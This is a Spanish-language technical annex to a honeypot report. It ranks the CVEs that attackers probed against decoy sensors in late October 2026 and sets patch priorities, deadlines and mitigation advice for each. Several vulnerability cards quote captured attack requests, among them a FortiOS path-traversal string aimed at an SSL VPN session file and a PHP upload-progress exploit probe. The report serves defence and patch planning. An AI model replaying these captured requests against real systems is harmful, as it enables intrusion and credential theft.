Anexo de vulnerabilidades (CVE)

Periodo: 19/10/2026 07:59 – 29/10/2026 07:59 (UTC) · Todos los sensores
Generado el 29/10/2026 08:44 · Complemento técnico del informe

Índice

1. Resumen para dirección 2

2. Cómo leer este anexo 3

3. Prioridad de parcheo por producto 4

4. Vulnerabilidades recientes que vigilan los sensores 8

5. Fichas de vulnerabilidad 11

6. Vulnerabilidades vistas por primera vez 36

7. Direcciones IP que prueban más vulnerabilidades 37

8. Lista de comprobación para el equipo técnico 38

9. Catálogo completo del periodo 42

10. Método, fuentes y limitaciones 45

1. Resumen para dirección

11 productos requieren parche urgente si se usan en la empresa

En el periodo los sensores han recibido **2.829 intentos** de aprovechar **85 vulnerabilidades conocidas** distintas, desde **220 direcciones IP**. En 21 de ellas llegó una carga de explotación real; el resto fueron sondeos para ver si el fallo existe.

41 figuran en el catálogo de CISA de vulnerabilidades que se están explotando en el mundo real, y **18** se han usado en campañas de ransomware.

Productos que conviene revisar primero: **PHP Group PHP, Fortinet FortiOS, Microsoft Exchange Server, DrayTek Multiple Vigor Routers y Apache HTTP Server**.

Mirando hacia delante, en los últimos 90 días CISA ha confirmado la explotación de **22** vulnerabilidades que los sensores vigilan; 3 ya se han intentado aquí, 2 antes del aviso de CISA. El detalle está en «Vulnerabilidades recientes que vigilan los sensores».

Qué hacer con este anexo

• Pasar la «Lista de comprobación» al equipo técnico o al proveedor de sistemas para confirmar si alguno de estos productos está publicado en Internet.
• Si alguno se usa, aplicar los parches en el orden y plazo de «Prioridad de parcheo por producto».
• Usar las fichas como evidencia: cada una recoge qué se intentó, cuándo, desde dónde y con qué petición.

Un intento no significa que la empresa sea vulnerable: los sensores son señuelos y reciben lo que los atacantes lanzan contra cualquier equipo de Internet. Lo que este anexo mide es qué se está buscando ahora mismo.

2. Cómo leer este anexo

Cada vulnerabilidad lleva varios datos que ayudan a decidir qué parchear antes. Ninguno basta por sí solo; la prioridad de este anexo los combina.

Término	Qué significa
CVE	Identificador público y único de una vulnerabilidad (por ejemplo, CVE-2021-41773). Sirve para buscar el parche del fabricante.
Gravedad (CVSS)	Puntuación de 0 a 10 del daño que causaría si se explota. Mide el fallo, no la probabilidad de que lo exploten.
EPSS	Probabilidad estimada por FIRST de que la vulnerabilidad se explote en los próximos 30 días. Un 50 % es muy alto.
CISA KEV	Catálogo de la agencia de ciberseguridad de EE. UU. con las vulnerabilidades que se están explotando de verdad.
Ransomware	CISA tiene constancia de que la vulnerabilidad se ha usado en campañas de ransomware.
Real / Sondeo	Real: la petición llevaba una carga de explotación. Sondeo: solo comprobaba si el fallo existe.
CWE	Tipo de error de programación que hay detrás (por ejemplo, CWE-22, recorrido de rutas).
SSVC	Valoración de CISA: si hay explotación activa, si se puede automatizar y qué impacto técnico tiene.
ATT&CK	Técnica del marco MITRE ATT&CK que describe la acción del atacante.

Prioridad y plazo

Prioridad	Plazo orientativo	Criterio
Urgente	En 7 días	En CISA KEV, usada en ransomware o con EPSS de 50 % o más, y con algún intento de explotación real en los sensores
Alta	En 30 días	En CISA KEV sin intentos reales en los sensores, o EPSS de 10 % o más
Media	Próximo mantenimiento	EPSS de 1 % o más, o la han probado 5 IPs o más
Baja	Revisar si se usa	El resto

Es la misma escala que usa «Parches prioritarios» en el informe ejecutivo, así que las dos piezas cuadran.

3. Prioridad de parcheo por producto

Todos los productos cuyas vulnerabilidades se han buscado en el periodo, ordenados por prioridad. Si la empresa no usa un producto, puede ignorar su fila.

Prioridad	Producto	CVE	Qué permite	EPSS	IPs	Plazo
Urgente (ransomware)	PHP Group PHP	CVE-2026-109619, CVE-2024-4577	Ejecutar código en el servidor	>99 %	22	En 7 días
Urgente (ransomware)	Fortinet FortiOS	CVE-2018-13379, CVE-2022-42475	Desbordamiento de memoria; Leer ficheros del servidor	>99 %	22	En 7 días
Urgente (ransomware)	Microsoft Exchange Server	CVE-2021-26855	Ejecutar código en el servidor	>99 %	10	En 7 días
Urgente	DrayTek Multiple Vigor Routers	CVE-2020-8515	Ejecutar código en el servidor	>99 %	1	En 7 días
Urgente (ransomware)	Apache HTTP Server	CVE-2021-41773, CVE-2021-42013	Leer ficheros del servidor	>99 %	38	En 7 días
Urgente	Cisco Adaptive Security Appliance (ASA) and F…	CVE-2020-3452	Leer ficheros del servidor	>99 %	6	En 7 días
Urgente (ransomware)	Dasan Gigabit Passive Optical Network (GPON) …	CVE-2018-10561, CVE-2018-10562	Ejecutar código en el servidor; Saltarse el acceso o ganar privilegios	>99 %	14	En 7 días
Urgente	Hikvision Security cameras web server	CVE-2021-36260	Ejecutar código en el servidor	>99 %	5	En 7 días
Urgente	Joomla!	CVE-2023-23752	Saltarse el acceso o ganar privilegios	>99 %	1	En 7 días
Urgente (ransomware)	Meta React Server Components	CVE-2025-55182	Ejecutar código en el servidor	>99 %	1	En 7 días
Urgente	Cisco IOS XE Web UI	CVE-2023-20198	Saltarse el acceso o ganar privilegios	>99 %	1	En 7 días
Alta	PHPUnit	CVE-2017-9841	Ejecutar código en el servidor	>99 %	16	En 30 días
Alta	GNU Bourne-Again Shell (Bash)	CVE-2014-6271	Ejecutar código en el servidor	>99 %	8	En 30 días
Alta	TP-Link Archer AX21	CVE-2023-1389	Ejecutar código en el servidor	>99 %	2	En 30 días
Alta (ransomware)	Apache Log4j2	CVE-2021-44228	Ejecutar código en el servidor	>99 %	6	En 30 días
Alta	PHP	CVE-2012-1823	Ejecutar código en el servidor	>99 %	16	En 30 días
Alta	Synacor Zimbra Collaboration Suite (ZCS)	CVE-2019-9670, CVE-2019-9621	Forzar peticiones desde el servidor (SSRF); Otro tipo de fallo	>99 %	16	En 30 días
Alta (ransomware)	Fortinet Multiple Products	CVE-2022-40684	Saltarse el acceso o ganar privilegios	>99 %	6	En 30 días
Alta (ransomware)	Laravel Ignition	CVE-2021-3129	Ejecutar código en el servidor	>99 %	3	En 30 días
Alta	Elasticsearch	CVE-2015-1427	Ejecutar código en el servidor	>99 %	22	En 30 días
Alta (ransomware)	Palo Alto Networks PAN-OS	CVE-2024-0012	Saltarse el acceso o ganar privilegios	>99 %	6	En 30 días
Alta	ThinkPHP noneCms	CVE-2018-20062	Ejecutar código en el servidor	>99 %	16	En 30 días

Prioridad	Producto	CVE	Qué permite	EPSS	IPs	Plazo
Alta	Metabase	CVE-2023-38646, CVE-2026-72898	Ejecutar código en el servidor; Inyección SQL	99 %	4	En 30 días
Alta	Adobe Commerce and Magento Open Source	CVE-2022-24086	Ejecutar código en el servidor	99 %	2	En 30 días
Alta	n8n	CVE-2025-68613	Ejecutar código en el servidor	99 %	1	En 30 días
Alta (ransomware)	WebPros cPanel & WHM and WP2 (WordPress Squar…	CVE-2026-41940	Saltarse el acceso o ganar privilegios	99 %	1	En 30 días
Alta	phpMyAdmin	CVE-2009-1151	Ejecutar código en el servidor	97 %	1	En 30 días
Alta	SDT-CW3B1	CVE-2021-46422	Ejecutar código en el servidor	94 %	1	En 30 días
Alta	Microsoft Exchange Server Pre-Auth POST Based…	CVE-2021-41349	Inyectar código en la web (XSS)	93 %	15	En 30 días
Alta (ransomware)	BeyondTrust Remote Support (RS) and Privilege…	CVE-2026-1731	Ejecutar código en el servidor	93 %	1	En 30 días
Alta	EyesOfNetwork	CVE-2020-8654	Ejecutar código en el servidor	92 %	2	En 30 días
Alta (ransomware)	Progress WS_FTP Server	CVE-2023-40044	Ejecutar código en el servidor	90 %	6	En 30 días
Alta	pfSense	CVE-2021-41282	Otro tipo de fallo	87 %	12	En 30 días
Alta (ransomware)	QNAP Photo Station	CVE-2019-7194	Leer ficheros del servidor	83 %	11	En 30 días
Alta	Wordpress LiteSpeed Cache Plugin debug.log Ac…	CVE-2024-44000	Otro tipo de fallo	82 %	1	En 30 días
Alta	CrushFTP	CVE-2023-43177	Ejecutar código en el servidor	82 %	9	En 30 días
Alta	D-Link Devices Home Network Administration Pr…	CVE-2016-6563	Ejecutar código en el servidor	80 %	2	En 30 días
Alta	Vite	CVE-2025-30208	Leer ficheros del servidor	75 %	1	En 30 días
Alta (ransomware)	Red Hat JBoss	CVE-2010-0738, CVE-2010-1428	Obtener información interna; Saltarse el acceso o ganar privilegios	74 %	2	En 30 días
Alta	Gravity SMTP WordPress Plugin	CVE-2026-4020	Obtener información interna	74 %	1	En 30 días
Alta	WordPress LiteSpeed Cache	CVE-2024-28000	Saltarse el acceso o ganar privilegios	68 %	4	En 30 días
Alta	Vitejs	CVE-2025-31125	Saltarse el acceso o ganar privilegios	66 %	1	En 30 días
Alta	Apache OFBiz	CVE-2023-50968	Forzar peticiones desde el servidor (SSRF)	63 %	3	En 30 días
Alta	D-Link DAP-1620	CVE-2021-46381	Leer ficheros del servidor	59 %	1	En 30 días
Alta	Apache Tomcat Remote Command Execution	CVE-2020-9484	Ejecutar código en el servidor	56 %	9	En 30 días

Prioridad	Producto	CVE	Qué permite	EPSS	IPs	Plazo
Alta	Cuppa CMS	CVE-2022-37190, CVE-2022-37191	Leer ficheros del servidor; Ejecutar código en el servidor	46 %	1	En 30 días
Alta	Kemp LoadMaster Load Balancer	CVE-2024-7591	Ejecutar código en el servidor	39 %	2	En 30 días
Alta	LiteLLM	CVE-2026-35029	Leer ficheros del servidor	39 %	1	En 30 días
Alta	Dragonfly2	CVE-2023-27584	Otro tipo de fallo	34 %	2	En 30 días
Alta	IBM Langflow	CVE-2026-9198	Ejecutar código en el servidor	29 %	1	En 30 días
Alta	rConfig	CVE-2020-9425	Obtener información interna	19 %	8	En 30 días
Alta	TerraMaster TOS	CVE-2020-28185	Otro tipo de fallo	18 %	2	En 30 días
Alta	Splunk Enterprise	CVE-2024-36991	Leer ficheros del servidor	13 %	2	En 30 días
Alta	WordPress Core	CVE-2026-63030, CVE-2026-60137	Saltarse el acceso o ganar privilegios; Inyección SQL	11 %	11	En 30 días
Media	HSC MailInspector	CVE-2024-34470, CVE-2026-29962	Leer ficheros del servidor	7 %	1	Próximo mantenimiento
Media	Contact Form 7 Drag and Drop Multiple File Up…	CVE-2025-3515	Ejecutar código en el servidor	6 %	2	Próximo mantenimiento
Media	Scramble Laravel	CVE-2026-44262	Ejecutar código en el servidor	6 %	1	Próximo mantenimiento
Media	AntD Admin	CVE-2021-46371	Obtener información interna	4 %	2	Próximo mantenimiento
Media	Ultimate Addons for Contact Form 7	CVE-2026-82901	Ejecutar código en el servidor	4 %	2	Próximo mantenimiento
Media	Apache Solr	CVE-2026-44825	Entrar con credenciales por defecto	4 %	3	Próximo mantenimiento
Media	PHP Possible php Remote File Inclusion Attemp…	CVE-2002-0953	Leer ficheros del servidor	4 %	10	Próximo mantenimiento
Media	TrueBooker	CVE-2026-18315	Saltarse el acceso o ganar privilegios	3 %	1	Próximo mantenimiento
Media	Edito CMS	CVE-2024-4836	Obtener información interna	3 %	26	Próximo mantenimiento
Media	LightRAG	CVE-2026-61808	Saltarse el acceso o ganar privilegios	2 %	1	Próximo mantenimiento
Media	ChangeDetection.io	CVE-2024-51483, CVE-2025-62780	Inyectar código en la web (XSS); Leer ficheros del servidor	2 %	3	Próximo mantenimiento
Media	WordPress Sassy Social Share Plugin	CVE-2021-24746	Inyectar código en la web (XSS)	2 %	1	Próximo mantenimiento
Media	Request Quote for WooCommerce	CVE-2026-18143	Ejecutar código en el servidor	2 %	2	Próximo mantenimiento
Media	WordPress Media Library Assistant	CVE-2026-34885	Inyección SQL	2 %	1	Próximo mantenimiento
Media	Asgaros Forum	CVE-2025-11452	Inyección SQL	2 %	2	Próximo mantenimiento
Media	Symfony HttpFoundation	CVE-2025-64500	Saltarse el acceso o ganar privilegios	1 %	14	Próximo mantenimiento

Prioridad	Producto	CVE	Qué permite	EPSS	IPs	Plazo
Media	Mage AI	CVE-2025-2129	Otro tipo de fallo	1 %	3	Próximo mantenimiento
Media	Yonyou UFIDA ERP-NC V5.0	CVE-2025-2710	Inyectar código en la web (XSS)	<1 %	9	Próximo mantenimiento
Baja	Piwigo	CVE-2025-62512	Otro tipo de fallo	<1 %	1	Revisar si se usa
Baja	KodeExplorer	CVE-2023-49489	Inyectar código en la web (XSS)	<1 %	2	Revisar si se usa

EPSS: el valor más alto entre las vulnerabilidades del producto. IPs: direcciones distintas que probaron alguna de ellas.

4. Vulnerabilidades recientes que vigilan los sensores

El resto del anexo cuenta lo que ya ha pasado. Este apartado mira hacia delante: recoge las vulnerabilidades que CISA ha confirmado como explotadas en los últimos 90 días y que los sensores saben detectar, se hayan visto aquí o no. Si la empresa usa alguno de estos productos, conviene parchearlo aunque todavía no haya intentos.

2 vulnerabilidades se vieron en los sensores antes de que CISA confirmara su explotación

Los sensores vigilan 3.630 vulnerabilidades. En los últimos 90 días CISA ha confirmado la explotación de 22 de ellas; 3 ya se han intentado contra los sensores.

CVE	Producto	Qué permite	En KEV desde	Ransom.	EPSS	Vista en los sensores	Prioridad
CVE-2026-109619	PHP Group PHP	Ejecutar código en el servidor	26/10/2026	-	>99 %	Sí: 44 intentos desde el 23/10/2026, 3 días antes del aviso de CISA	Urgente
CVE-2025-62593	Ray-Project Ray	Ejecutar código en el servidor	17/08/2026	-	60 %	Sí: 2 intentos desde el 12/09/2026	Alta
CVE-2026-72898	Metabase	Inyección SQL	11/08/2026	-	99 %	Sí: 60 intentos desde el 06/07/2026, 36 días antes del aviso de CISA	Alta
CVE-2026-109618	PHP Group PHP	Desbordamiento de memoria	26/10/2026	-	>99 %	Aún no	Alta
CVE-2026-110447	Collabora Online – Built-in CODE Server	Ejecutar código en el servidor	23/10/2026	-	12 %	Aún no	Alta
CVE-2026-21589	Atlassian Multiple Products	Leer ficheros del servidor	15/10/2026	-	99 %	Aún no	Alta
CVE-2026-105134	AhsayCBS	Ejecutar código en el servidor	14/10/2026	-	82 %	Aún no	Alta
CVE-2026-105133	AhsayCBS	Saltarse el acceso o ganar privilegios	14/10/2026	-	79 %	Aún no	Alta
CVE-2016-3081	Apache Struts	Ejecutar código en el servidor	08/10/2026	-	97 %	Aún no	Alta
CVE-2026-87902	WordPress Core	Leer ficheros del servidor	25/09/2026	-	96 %	Aún no	Alta
CVE-2026-71362	Adobe Commerce and Magento	Saltarse el acceso o ganar privilegios	24/09/2026	-	90 %	Aún no	Alta
CVE-2026-93616	Check Point Multiple Products	Leer ficheros del servidor	22/09/2026	-	92 %	Aún no	Alta
CVE-2026-76460	Cisco Identity Services Engine	Saltarse el acceso o ganar privilegios	16/09/2026	-	76 %	Aún no	Alta
CVE-2026-42018	JFrog Artifactory	Saltarse el acceso o ganar privilegios	11/09/2026	-	10 %	Aún no	Alta
CVE-2026-85706	GitLab Community Edition and Enterprise …	Leer ficheros del servidor	11/09/2026	-	97 %	Aún no	Alta

CVE	Producto	Qué permite	En KEV desde	Ransom.	EPSS	Vista en los sensores	Prioridad
CVE-2026-20079	Cisco Secure Firewall Management Center …	Saltarse el acceso o ganar privilegios	09/09/2026	-	88 %	Aún no	Alta
CVE-2026-82329	JFrog Artifactory	Saltarse el acceso o ganar privilegios	02/09/2026	-	14 %	Aún no	Alta
CVE-2026-81578	PaperCut NG and MF	Otro tipo de fallo	31/08/2026	-	84 %	Aún no	Alta
CVE-2026-60004	Gitea	Ejecutar código en el servidor	25/08/2026	-	24 %	Aún no	Alta
CVE-2026-64849	MLflow	Forzar peticiones desde el servidor (SSRF)	19/08/2026	-	10 %	Aún no	Alta

Hay 2 más de fecha anterior que no caben en la tabla.

Alto riesgo, aún sin confirmación de CISA

Vulnerabilidades de este año o del anterior que los sensores vigilan y que todavía no están en el catálogo de CISA, pero que según EPSS tienen una probabilidad alta de explotarse en los próximos 30 días. Suelen ser las siguientes en llegar.

CVE	Producto	Qué permite	EPSS	Vista en los sensores
CVE-2025-53771	Microsoft SharePoint Server	Saltarse el acceso o ganar privilegios	>99 %	Aún no
CVE-2025-4123	Grafana	Leer ficheros del servidor	97 %	Aún no
CVE-2025-24799	GLPI	Inyección SQL	87 %	Aún no
CVE-2025-59528	Flowise	Ejecutar código en el servidor	86 %	Sí: 2 intentos desde el 14/10/2026
CVE-2025-32429	XWiki Platform	Inyección SQL	85 %	Aún no
CVE-2025-34152	Shenzhen Aitemi M300 Wi-Fi Repeater – Unauthe…	Ejecutar código en el servidor	85 %	Aún no
CVE-2025-34300	SawtoothSoftware Lighthouse Studio	Ejecutar código en el servidor	81 %	Aún no
CVE-2025-0107	Palo Alto Networks Expedition	Ejecutar código en el servidor	78 %	Aún no
CVE-2025-2294	Kubio AI Page Builder	Leer ficheros del servidor	78 %	Aún no
CVE-2026-21858	n8n Webhooks	Ejecutar código en el servidor	78 %	Aún no

Fuera del alcance de los sensores (últimos 30 días)

Vulnerabilidades que CISA ha declarado explotadas en los últimos 30 días y que los señuelos no pueden detectar. Normalmente afectan a software que no se publica como servicio en Internet (navegadores, sistemas operativos, aplicaciones de escritorio) o todavía no tienen firma. No salen en el resto del anexo, pero conviene cruzarlas con el inventario de la empresa.

CVE	Producto	Vulnerabilidad (CISA, en inglés)	En KEV desde	Ransom.
CVE-2026-41709	Broadcom VMware ESX	Broadcom VMWare ESX Insufficient Logging Vulnerability	28/10/2026	-
CVE-2026-46300	Linux Kernel	Linux Kernel Missing Initialization of a Variable Vulnerability	28/10/2026	-

CVE	Producto	Vulnerabilidad (CISA, en inglés)	En KEV desde	Ransom.
CVE-2026-48356	Adobe Commerce and Magento	Adobe Commerce and Magento Unrestricted Upload of File with Dangerous Type Vulnerability	27/10/2026	-
CVE-2026-111497	Google Brotli	Google Brotli Unchecked Return Value Vulnerability	27/10/2026	-
CVE-2026-114625	Arista VeloCloud Orchestrator	Arista VeloCloud Orchestrator SQL Injection Vulnerability	23/10/2026	-
CVE-2026-106931	EG Secure Solutions SiteGuard Server Edi…	EG Secure Solutions SiteGuard Server Edition OS Command Injection Vulnerability	20/10/2026	-
CVE-2026-96656	Plex Media Server	Plex Media Server External Control of File Name or Path Vulnerability	20/10/2026	-
CVE-2026-96655	Plex Media Server	Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability	20/10/2026	-
CVE-2026-96654	Plex Media Server	Plex Media Server Improper Neutralization of Encoded URI Schemes in a Web Page Vulnerability	20/10/2026	-
CVE-2026-96652	Plex Media Server	Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability	20/10/2026	-
CVE-2026-110936	Siemens Software Center	Siemens Software Center Uncontrolled Search Path Element Vulnerability	20/10/2026	-
CVE-2026-102764	BeyondTrust Remote Support	BeyondTrust Remote Support Authentication Bypass by Spoofing Vulnerability	16/10/2026	-
CVE-2025-61624	Fortinet Multiple Products	Fortinet Multiple Products Path Traversal Vulnerability	16/10/2026	-
CVE-2026-76519	Cisco Secure Email Gateway	Cisco Secure Email Gateway Relative Path Traversal Vulnerability	14/10/2026	-
CVE-2026-0322	Palo Alto Networks PAN-OS	Palo Alto Networks PAN-OS Code Injection Vulnerability	14/10/2026	-

Y 12 más en el catálogo de CISA.

Qué hacer

• Revisar si la empresa usa alguno de estos productos. Las que ya se han visto en los sensores son las primeras: hay atacantes buscándolas activamente.

• Las de alto riesgo sin confirmar se pueden programar en el siguiente ciclo de parches, antes de que lleguen.

• Las que quedan fuera del alcance de los sensores se revisan con el inventario o con un escáner de vulnerabilidades interno.

5. Fichas de vulnerabilidad

Una ficha por vulnerabilidad con prioridad urgente o alta, o con algún intento de explotación real, en el mismo orden de prioridad. Las 45 restantes están en el «Catálogo completo». En los ejemplos capturados se han ocultado las direcciones y nombres de nuestros sensores.

CVE-2026-109619 · PHP Group PHP

Prioridad	**Urgente**. Plazo orientativo: en 7 días.
Qué permite	Ejecutar código en el servidor
Producto (registro CVE)	PHP Group PHP
Descripción oficial (inglés)	PHP has various global state that temporarily points into request memory. In some scenarios, global state may not be correctly reset, or may be repopulated after being reset. The global state may then refer to request memory even after it has been freed. Subsequent requests may read or branch on this stale state before it is fully initialized. Multiple strategies can trigger this condition and produce remote code execution (RCE).
Firma que lo detectó	php2shell session.upload_progress RCE
Gravedad (CVSS)	Crítica (9,2) · CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Tipo de fallo (CWE)	CWE-416, CWE-755, CWE-824, CWE-1325, CWE-1419
Explotación conocida	Sí, figura en CISA KEV desde el 26/10/2026. Uso en ransomware: no conocido.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: no; Impacto técnico: total
Fechas	Publicada el 21/10/2026 (hace 8 días); primera vez vista en los sensores el 23/10/2026.
Actividad en el periodo	44 intentos (22 con carga real) desde 4 IPs en 2 sensores, entre el 23/10/2026 y el 24/10/2026. Sensores: España y Estados Unidos.
Servicio y detección	Tráfico de red (Suricata), Web (HTTP/HTTPS). Detectado con firma propia y Suricata (ET Open).
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial); T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`--FBBOUND··Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"····probe····FBBOUND··Content-Disposition: form-data; name="file"; filename="x|junkjunknotanobject"··Content-Type: application/octet-stream·····-FBBOUND---- · /`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: PHP Group PHP: rama 8.2 anterior a 8.2.35, rama 8.3 anterior a 8.3.36, rama 8.4 anterior a 8.4.27, rama 8.5 anterior a 8.5.12.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2026-109619 https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp

CVE-2018-13379 · Fortinet FortiOS

Prioridad	**Urgente (ransomware)**. Plazo orientativo: en 7 días.
Qué permite	Leer ficheros del servidor
Producto (registro CVE)	Fortinet FortiOS, FortiProxy
Descripción oficial (inglés)	An Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal") in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests.
Firma que lo detectó	Fortinet FortiOS SSL VPN traversal
Gravedad (CVSS)	Crítica (9,1) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Tipo de fallo (CWE)	CWE-22
Explotación conocida	Sí, figura en CISA KEV desde el 03/11/2021. Uso en ransomware: **sí, conocido**.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: parcial

Fechas	Publicada el 04/06/2019 (hace 7 años); primera vez vista en los sensores el 07/07/2026.
Actividad en el periodo	8 intentos (8 con carga real) desde 6 IPs en 4 sensores, entre el 23/10/2026 y el 27/10/2026. Sensores: España, Estados Unidos, Singapur y Suecia.
Servicio y detección	HTTP, Tráfico de red (Suricata), Web (HTTP/HTTPS). Detectado con firma propia, plantillas Nuclei, reglas Sigma y Suricata (ET Open).
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial)
Ejemplo capturado	`/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Fortinet FortiOS, FortiProxy: FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12, FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7.
Corrección indicada (inglés)	Apply the necessary patches or updates provided by Fortinet to fix the vulnerability.
Mientras tanto	Bloquear en el WAF las secuencias de recorrido de rutas (../ y sus codificaciones) y comprobar que el servicio no corre con más permisos de los necesarios.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2018-13379 https://fortiguard.com/advisory/FG-IR-18-384 https://www.fortiguard.com/psirt/FG-IR-20-233

CVE-2021-26855 · Microsoft Exchange Server

Prioridad	**Urgente (ransomware)**. Plazo orientativo: en 7 días.
Qué permite	Ejecutar código en el servidor
Producto (registro CVE)	Microsoft Exchange Server 2013 Cumulative Update 21 y Microsoft Exchange Server 2013 Cumulative Update 22
Descripción oficial (inglés)	Microsoft Exchange Server Remote Code Execution Vulnerability
Firma que lo detectó	MS Exchange ProxyLogon (SSRF)
Gravedad (CVSS)	Crítica (9,1) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:F/RL:O/RC:C
Tipo de fallo (CWE)	CWE-918
Explotación conocida	Sí, figura en CISA KEV desde el 03/11/2021. Uso en ransomware: **sí, conocido**.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 03/03/2021 (hace 5 años); primera vez vista en los sensores el 05/07/2026.
Actividad en el periodo	11 intentos (11 con carga real) desde 10 IPs en 3 sensores, entre el 20/10/2026 y el 28/10/2026. Sensores: España, Singapur y Suecia.
Servicio y detección	HTTPS, Web (HTTP/HTTPS). Detectado con firma propia y plantillas Nuclei.
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial)
Ejemplo capturado	`/owa/auth/x.js`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Microsoft Exchange Server 2013 Cumulative Update 21: desde 15.00.0 hasta antes de 15.00.1395.012; Microsoft Exchange Server 2013 Cumulative Update 22: desde 15.00.0 hasta antes de 15.00.1473.006.
Corrección indicada (inglés)	Apply the appropriate security update.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2021-26855 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855

CVE-2020-8515 · DrayTek Multiple Vigor Routers

Prioridad	**Urgente**. Plazo orientativo: en 7 días.
Qué permite	Ejecutar código en el servidor
Descripción oficial (inglés)	DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.
Firma que lo detectó	ET EXPLOIT Multiple DrayTek Products Pre-authentication Remote RCE Inbound (CVE-2020-8515) M2
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-78
Explotación conocida	Sí, figura en CISA KEV desde el 03/11/2021. Uso en ransomware: no conocido.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 01/02/2020 (hace 6 años); primera vez vista en los sensores el 16/09/2026.
Actividad en el periodo	2 intentos (1 con carga real) desde 1 IP en 1 sensor, entre el 20/10/2026 y el 20/10/2026. Sensores: España.
Servicio y detección	HTTP, Tráfico de red (Suricata). Detectado con plantillas Nuclei y Suricata (ET Open).
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial); T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/cgi-bin/mainfunction.cgi`
Qué hacer	Aplicar la última actualización del fabricante.
Corrección indicada (inglés)	This issue has been fixed in Vigor3900/2960/300B v1.5.1.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2020-8515 https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-%28cve-2020-8515%29/

CVE-2021-41773 · Apache HTTP Server

Prioridad	**Urgente (ransomware)**. Plazo orientativo: en 7 días.
Qué permite	Leer ficheros del servidor
Producto (registro CVE)	Apache Software Foundation Apache HTTP Server
Descripción oficial (inglés)	A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.
Firma que lo detectó	ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2
Gravedad (CVSS)	Alta (7,5) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Tipo de fallo (CWE)	CWE-22
Explotación conocida	Sí, figura en CISA KEV desde el 03/11/2021. Uso en ransomware: **sí, conocido**.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 05/10/2021 (hace 5 años); primera vez vista en los sensores el 03/07/2026.
Actividad en el periodo	79 intentos (78 con carga real) desde 38 IPs en 4 sensores, entre el 19/10/2026 y el 29/10/2026. Sensores: España, Estados Unidos, Singapur y Suecia.
Servicio y detección	Elasticsearch, HTTP, HTTPS, Tráfico de red (Suricata), Web (HTTP/HTTPS). Detectado con firma propia, reglas Sigma y Suricata (ET Open).

